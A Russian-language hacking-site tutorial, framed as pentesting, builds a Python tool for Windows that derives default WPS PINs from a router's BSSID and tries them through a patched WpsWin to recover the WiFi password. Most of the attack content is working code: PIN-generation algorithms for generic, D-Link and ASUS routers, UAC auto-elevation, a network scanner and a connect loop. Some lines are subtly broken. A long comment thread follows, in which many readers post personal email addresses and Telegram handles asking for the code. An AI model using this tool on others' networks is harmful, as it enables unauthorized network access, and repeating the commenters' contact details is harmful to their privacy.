Работа пентестера основана на законом взломе и довольно часто возникает необходимость подключиться к WiFi, не зная пароль. Технология WPS уже давно помогает пентестерам взламывать WiFi. В нашей сегодняшней статье мы посмотрим, как самостоятельно реализовать атаку на WiFi, основанную на слабостях алгоритмов генерации WPS PIN.
Еще по теме: Лучшие хакерские программы для взлома со смартфона
Большинство сегодняшних роутеров поддерживает стандарт WPS (Wi-Fi Protected Setup), который дает возможность меньше чем за минуту установить надежное соединение между устройством и маршрутизатором, минуя этап настройки шифрования и ввода пароля. Девайсы подключаются по отдельному восьмизначному ключу WPS PIN, который состоит из цифр. Восьмая цифра — дайджест.
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция сайта www.spy-soft.net, ни автор не несут никакой ответственности за любой возможный вред, причиненный материалами этой статьи. Взлом WiFi преследуется по закону!
Из всего разнообразия методов взлома WiFi:
- подбор ПИН-кода или ключа безопасности методом перебора (брутфорс);
- использование уязвимостей реализации;
- социальная инженерия;
- использование слабостей генерации ПИН-кодов.
В сегодняшней статье мы рассмотрим последний метод из списка.
Атака WPS Pixie Dust уже морально устарела, однако и сегодня мне встречаются подверженные ей роутеры. Проблема кроется в генерации случайных чисел и позволяет не ломать все восемь цифр в лоб, а угадывать лишь четыре из них, так как оставшиеся можно получить из ответов роутера.
Откуда берут стандартный PIN
При покупке маршрутизатора, в нем уже содержится полученный специальным алгоритмом WPS PIN для начального подключения к роутеру через WPS. WPS PIN состоит из восьми цифр. Как производители роутеров его получают? Очевидно, что нужно нечто уникальное для идентификации и генерации различных значений. Правильно — это MAC устройства, который мы можем получить из широковещательного BSSID.
BSSID (Basic Service Set Identifier) — уникальный идентификатор беспроводной сети. Часто BSSID совпадает с MAC-адресом устройства Ethernet MAC.
Генерация WPS PIN на примере
Как вы уже поняли, все начинается с BSSID. Подключаем к сети наш сeксуaльный роутер.
Анализируем любым удобным способом (например, Dumpper).
BSSID получили: C4:6E:1F:6A:8D:04.
Пришло время пошалить: открываем браузер и начинаем искать на различных (в том числе и на буржуйских) сайтах и форумах, как работают алгоритмы генерации PIN-кодов у конкретного производителя сетевого оборудования. Если нет желание это делать, то всегда можно «выдернуть» эти функции из сторонних программных продуктов с открытым исходным кодом.
Предположим, мы нашли, что большинство стареньких роутеров этого вендора используют алгоритм генерации ПИН-кода из последних трех октетов MAC-адреса устройства: 24-bit PIN = MAC[7..12].
Вот реализация этого алгоритма на Python.
1 2 3 4 5 6 7 8 9 10 11 12 |
from math import floor MAC = 'C46E1F6A8D04' One = Two = (int(MAC, 16) & 0xFFFFFF) % 10000000 Var1 = 0 While Two: Var1 += 3 * (Two % 10) Two = floor(Two / 10) Var1 += Two % 10 Two = floor(Two / 10) Var2 = (One * 10) + ((10 - (Var1 % 10)) % 10) Var3 = str(int(Var2)) result = Var3.zfill(8) |
Результатом работы скрипта будет ПИН-код 69829161. Проверим его достоверность.
Подготовка и требования
Приступим. При разработке собственной утилиты для тестирования беспроводных точек доступа нам потребуется:
- Windows 7 и выше;
- Python 3 и выше;
- удобная IDE;
- любимый браузер;
- личный маршрутизатор Wi-Fi с технологией WPS «для пыток»;
- WpsWin (входит в состав того самого Dumpper);
- IDA и Hex-Rays Tool.
Сразу, забегая вперед, скажу, что запускать готовый скрипт нужно будет с правами администратора. Можно с этим либо согласиться и перейти непосредственно к разработке, либо читать дальше.
Автозапуск с правами администратора
Для автозапуска мы будем использовать следующий код:
1 2 3 4 5 6 |
import ctypes, sys if ctypes.windll.shell32.IsUserAnAdmin(): if __name__ == "__main__": main() else: ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1) |
Теперь при попытке запустить скрипт вызов будет передан на UAC (если активен) и откроется новое окно терминала, где наш код выполнится от под администратором.
Если такой вариант не устраивает, то всегда можно воспользоваться готовыми решениями.
- pyuac — готовый скрипт для повышения прав в Windows
- Bypassing Windows 10 UAC With Python — статья на ту же тему
- How to run python script with elevated privilege on windows — разбор вопроса на StackOverflow
Разработка
Прежде всего добавим алгоритм подсчета дайджеста MAC-адреса (он уже был выше):
1 2 3 4 5 6 7 8 9 10 11 |
from math import floor def checksum(mac): mac %= 10000000 var = 0 temp = mac while temp: var += 3 * (temp % 10) temp = floor(temp / 10) var += temp % 10 temp = floor(temp / 10) return (mac * 10) + ((10 - (var % 10)) % 10) |
А также несколько функций генерации заветных ПИН-кодов.
Это далеко не полный список существующих алгоритмов, поэтому оставшиеся варианты будут вашим домашним заданием.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
def pin24(BSSID): temp = int(BSSID,16) & 0xFFFFFF temp = checksum(temp) temp = str(int(temp)) return temp.zfill(8) def pinDLink(BSSID): temp = (int(BSSID, 16) & 0xFFFFFF) ^ 0x55AA55 temp ^= ((temp & 0xF) << 4) | ((temp & 0xF) << 8) | ((temp & 0xF) << 12) | ((temp & 0xF) << 16) | ((temp & 0xF) << 20) temp %= 10000000 if temp < 1000000: temp += ((temp % 9) * 1000000) + 1000000 temp = checksum(temp) temp = str(int(temp)) return temp.zfill(8) def pinDLinkInc1(BSSID): temp = int(BSSID, 16) + 1 return pinDLink(hex(temp)) def pinASUS(BSSID): temp = format(int(BSSID, 16), '02x') temp = str(temp).zfill(12) var = [int(temp[0:2], 16), int(temp[2:4], 16), int(temp[4:6], 16), int(temp[6:8], 16), int(temp[8:10], 16), int(temp[10:12], 16)] pin = [] for i in range(7): pin.append((var[i % 6] + var[5]) % (10 - ((i + var[1] + var[2] + var[3] + var[4] + var[5]) % 7))) temp = int(''.join(str(i) for i in pin)) temp = checksum(temp) temp = str(int(temp)) return temp.zfill(8) |
Немного реверса
Разумеется, нужен способ проверить получившиеся ПИН-коды. В этом нам и поможет WpsWin. Эта утилита позволяет подключиться к беспроводной точке доступа посредством технологии WPS. Но какие параметры ей передавать? Расчехляем IDA, подгружаем наш PE и исследуем.
Вот что нам необходимо проделать с исполняемым файлом:
- найти передаваемые аргументы для взаимодействия через командную строку;
- отыскать сообщения об успешных, неудачных и ошибочных результатах подключения;
- пропатчить PE с целью сокращения тайм-аута на подключение к маршрутизатору.
Первая нужная функция находится по адресу 0x004012A0.
Вторую можно найти по 0x00403370, а третья — это локальная метка основной функции.
По дефолту время тайм-аута соединения с роутером равно девяноста секундам.
Мы столько ждать не готовы, поэтому уменьшаем это время до (приблизительно) пяти секунд.
Само значение передается аргументом второй, найденной нами функции.
Патчим через «Edit → Patch program → Assemble…» и сохраняем.
Подключение по WPS
Продолжаем дописывать наш код. Запускаем WpsWin, передавая ему параметры для подключения к конкретной беспроводной сети, после чего благополучно перехватываем вывод и проверяем результат.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
import subprocess import sys from time import sleep def run_command(cmd): p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) for LINE in iter(p.stdout.readline, b''): if LINE: yield LINE while p.poll() is None: sleep(.1) err = p.stderr.read() if p.returncode != 0: print ("" + err) def connect(ESSID, PIN): cmd = 'WpsWin.exe Action=Registrar ESSID="%s" PIN=%s' % (ESSID, str(PIN)) sleep(1) for LINE in run_command(cmd): LINE = LINE.decode('cp866') if "Asociacion fallida" in LINE: print ("Connection with %s hasn't been established!" % ESSID) return elif "Pin incorrecto" in LINE: print("Pin invalid!") return elif "Wpa Key" in LINE: print("\nTRUE PIN FOUND!\nGetting the Wi-Fi password...\n") print(LINE) sleep(5) input() sys.exit() |
К сожалению, WpsWin не позволяет отобразить список близлежащих сетей с поддержкой WPS, как это делает wash в Linux, а значит, нам остается реализовать эту функцию самим.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
import re def main(): network = 0 results = run_command("netsh wlan show networks mode=bssid") results = [i for i in results] ssids = [] bssids = [] for line in results: line = line.decode('cp866') if "BSSID" in line: bssids.append(re.sub('BSSID [\d]+:', '', line.strip()).strip()) elif "SSID" in line: ssids.append(re.sub('SSID [\d]+:', '', line.strip()).strip()) i = 0 print ("Available wireless networks at the moment:\n") for j in ssids: i += 1 print ("%d - %s" % (i, j)) while (network == "") or (int(network) < 1) or (int(network) > i): print network = input("\nChoose the wireless network > ") network = int(network) - 1 macbssid = bssids[network].upper() mac = macbssid.replace(":", "").replace("-", "").replace(" ", "").replace(".", "") wifiname = ssids[network] |
Угадываем WPS PIN
Еще несколько десятков кликов по клавиатуре, и код готов.
1 2 3 4 5 6 |
algos = [pin24, pinDLink, pinDLinkInc1, pinASUS] for i in algos: pin = i(mac) print ("\nTrying connect to %s via %s technique with PIN: %s" % (wifiname,i.__name__,pin)) connect(wifiname,pin) sleep(3) |
Тестирование утилиты
Запускаем скрипт из терминала Windows. Выбираем беспроводную сеть. Профит!
Дополнительные фичи
Если же вам, дорогой читатель, захочется модернизировать этот код, то вот несколько интересных идей для реализации.
- Переписать утилиту с использованием встроенной библиотеки cmd, которая имитирует CLI.
- Придумать иной способ получения списка беспроводных сетей.
- Отыскать все возможные алгоритмы генерации WPS PIN у разных производителей.
- Добавить проверку на наличие у беспроводной точки доступа технологии WPS.
- Создать счетчик неудачных попыток ассоциации, что поможет выявить вероятную блокировку (Lock) или использование межсетевого экранирования в беспроводной сети.
- Добавить звуковое оповещение, когда будет найден верный ПИН-код.
Выводы
Что у нас есть по результатам:
- +10 к интеллекту скиллу разработки средств автоматизированного тестирования;
- небольшой список алгоритмов генерации ПИН-кодов;
- работающая утилита тестирования слабостей генерации WPS PIN;
- пароль от беспроводной сети.
Не могу не сказать, что вендоры уже давно знают об этой слабости и в последних обновлениях прошивок проблема, скорее всего, уже исправлена. Хоть иногда я и встречал «современные» точки доступа, где для генерации ПИН-кода был использован MAC, увеличенный (или уменьшенный) на единицу, доля уязвимых устройств с каждым днем все меньше.
Это действительно работает
Можеш на почту скинуть алгоритм пжпжп
Брат, пожалуйста скинь мне код nout.org@gmail.com , за ранее огромное спасибо здоровья тебе и счастья!
Мне код скинеш?
Вот она : dethmanize@gmail.com
Скинь тоже по братски, почта вот: nailjonenailjone@gmail.com
Скинь мне тоже пж на почту: dmitry.arsyonov@mail.ru
Скиньте алгоритм плиз
Скиньте код пожалуйста.
merser.zombie@gmail.com
Привет, можешь пж скинуть исходный код ? Буду очень благодарен. Вот почта: rus8412014@gmail.com
Скиньте мне на почту пожалуйста
oleglaguta43@gmail.com
Сбросьте мне тоже пожалуйста код. Почта: vorona.vor62@gmail.com. Заранее спасибо!
Пожалуйста пришлите мне код, большое спасибо тому кто откликнется. Почта:lirikman2007@gmail.com
Очень нужен код
Ща скину
скиньте код, пожалуйста.вот почта jakobvip2005@gmail.com
скинь и мне пожалуста на эту etoturnikman@gmail.com
буду благодарен, если скинете и мне yarinko.b@gmail.com
Привет! Можешь мне скинуть код в телеграмм:@Zero4kaX Либо на почту monopiskam@gmail.com
скиньте плиз sonyatitova674@gmail.com
скиньте плиз мне тоже prophetix@rambler.ru
скинь пожалуйста и мне, очень прошу !!!! H0rs4@yandex.ru
Привет, скинешь пожалуйста алгоритим. Почта : clash2018super@gmail.com
Скиньте код плез на почту
darkandrey929@gmail.com
скиньте мне алгоритм пожалуйста
aldikzaldik@gmail.com
скиньте мне пж почта : kostia.4gore@gmail.com
Скиньте пж мне на почту: ghm623595@gmail.com
скиньте пж на почту выводит ошибку в 130 строке pin = i(mac)
norboyev.diyorbek03@gmail.com
Скинь код ПЖ uzikyavny@gmail.com
Привет можете скинуть на почту код?Буду благодарен
Скиньте мне тоже алгоритм пж
adsizov09@mail.ru
скиньте и мне на почту код
kulaga.m.d@gmail.com
Скиньте код плиз на почту
illyaterescho2007@gmail.com
Скиньте пожалуйста код, буду очень признателет если кто-то откликнеться!
Скинь пожалуйста код cyud.2019@gmail.com
Пожалуйста и мне скиньте andreiuzik777@gmail.com
скиньте код пожалуйста alekseipetrushenko@inbox.ru
Раз все просят скинуть я тоже попрошу
Telegram: @AtomMax_
Или atommax228@gmail.com
Можно скинуть код пожалуйста
pablo.na0220@gmil.com
Скинь тоже код пожалуйста
Скинь тоже код пожалуйста kabanovnikita81@gmail.com
скинь ссылку код пожалуйста scorpingorance@gmail.com
Скиньте пожалуйста newlogi26@gmail.com
Скинь код пожалуйста
dedurinaroslav@gmail.com
Можешь скинуть код
babyfun215@gmail.com
почему после ввода числа окно сворачивается?
Скиньте мне код пж
maksrddr@gmail.com
Скиньте код пж
maksrddr@gmail.com
отправишь на почту? она: pashada6@mail.ru
скиньте код на почту пожалуйста
почта: fansare6@gmail.com
Скиньте код на почту пожалуйста:nuriddinoveldor2008@gmail.com
Скиньте исходный код на почту пожалуйста:nuriddinoveldor2008@gmail.com
Можно пожалуийста обьяснить как написать эту программу и какие файлы нужно создавать?
скиньте исходный код пожалуйста на olimovotkirbek49@gmail.com
скинь пожалуйста код и мне тоже xocderx@gmail.com
Скиньте код пожалуйста
скиньте мне тож код fedorcukroma1@gmail.com
скиньте код mqwoy@mail.ru
Привет, можешь скинуть код на почту пожалуйста, буду очень благодарен! почта: vladrozhentsev@inbox.ru
мне тоже скиньте
Скиньте код пожалуйста
Скиньте код пожалуйста, буду очень признателен
denysdzhumalo@gmail.com
Прошу скинуть код geor55@bk.ru
Пожалуйста можете скинуть код на эту почту smamedsaliev@mail.ru
Скиньте код плиз на почту
скиньте мне код пожалуйста . почта-mortytv443@gmail.com
Скиньте код плиз на почту
скинте код плиз на почту michael.lopachak@gmail.com
здравствуйте! если вас не затруднит, скиньте пожалуйста! t_n_x@mail.ru
здравствуйте! если вас не затруднит, скиньте пожалуйста! misoher797@pgobo.com
отправьте код пожалуйста arti.m.2019@inbox.ru
коротко о том как собрать базу email, даже парсить удобно
скиньте мне код пожалуйста
вот email: artesyl680@gmail.com
Прошу пожалуйста отправить код на почту
Почта — Sklyaryarik@gmail.com
дай код пж mkoyanallbert2005@gmail.com
Скиньте умоляю код на почту) promaxemenem@mail.ru
я только начала учится Python.
посоветуй какие ресурсы лучше использовать для учебы. Уровень информатики близится к 0😅 но я стараюсь впитывать все что нахожу, но не все что нахожу мне понятно. А без понимания начинаются затыки. если есть поясняющая литература на понятном чайнику языке, отправьте пожалуйста в телегу @Olhalazyniuk
Добрый день(вечер, утро), пришлите алгоритм пожалуйста, вот почта: axolt518@proton.me
Готов помочь со скриптом. Я дописал его и модернизировал. Пишите tg @som_som1